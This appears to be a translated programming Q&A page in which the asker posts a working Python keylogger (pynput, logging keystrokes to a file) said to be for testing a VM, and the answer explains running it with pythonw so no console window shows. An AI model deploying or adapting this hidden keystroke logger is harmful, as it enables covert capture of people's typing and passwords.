如何在后台运行python脚本可执行文件

时间:2017-12-02 10:06:18

标签: python python-3.x

我正在运行python 3.6并且我制作了一个键盘记录器来测试我的VM。我使用pyinstaller将键盘记录器转换为可执行文件。键盘记录器工作得很好但是,当我运行它时,它会打开一个黑色的窗口,当我关闭它时,它会停止程序。我希望拥有它,以便我可以在后台运行可执行文件。

编辑:我正在使用Windows 10

from pynput.keyboard import Key, Listener
import logging

log_dir = ''

logging.basicConfig(filename=(log_dir + "key_log.txt"), level=logging.DEBUG, 
format='%(asctime)s: %(message)s')

def on_press(key):
    logging.info(str(key))

with Listener(on_press=on_press) as listener:
    listener.join()

1 个答案:

答案 0 :(得分:0)

如果您不希望在Windows下显示任何控制台窗口。执行start在Windows上,使用pythonw执行它。热键是Windows + r

pythonw C:\Users\yourUser\Desktop\hidden.py

enter image description here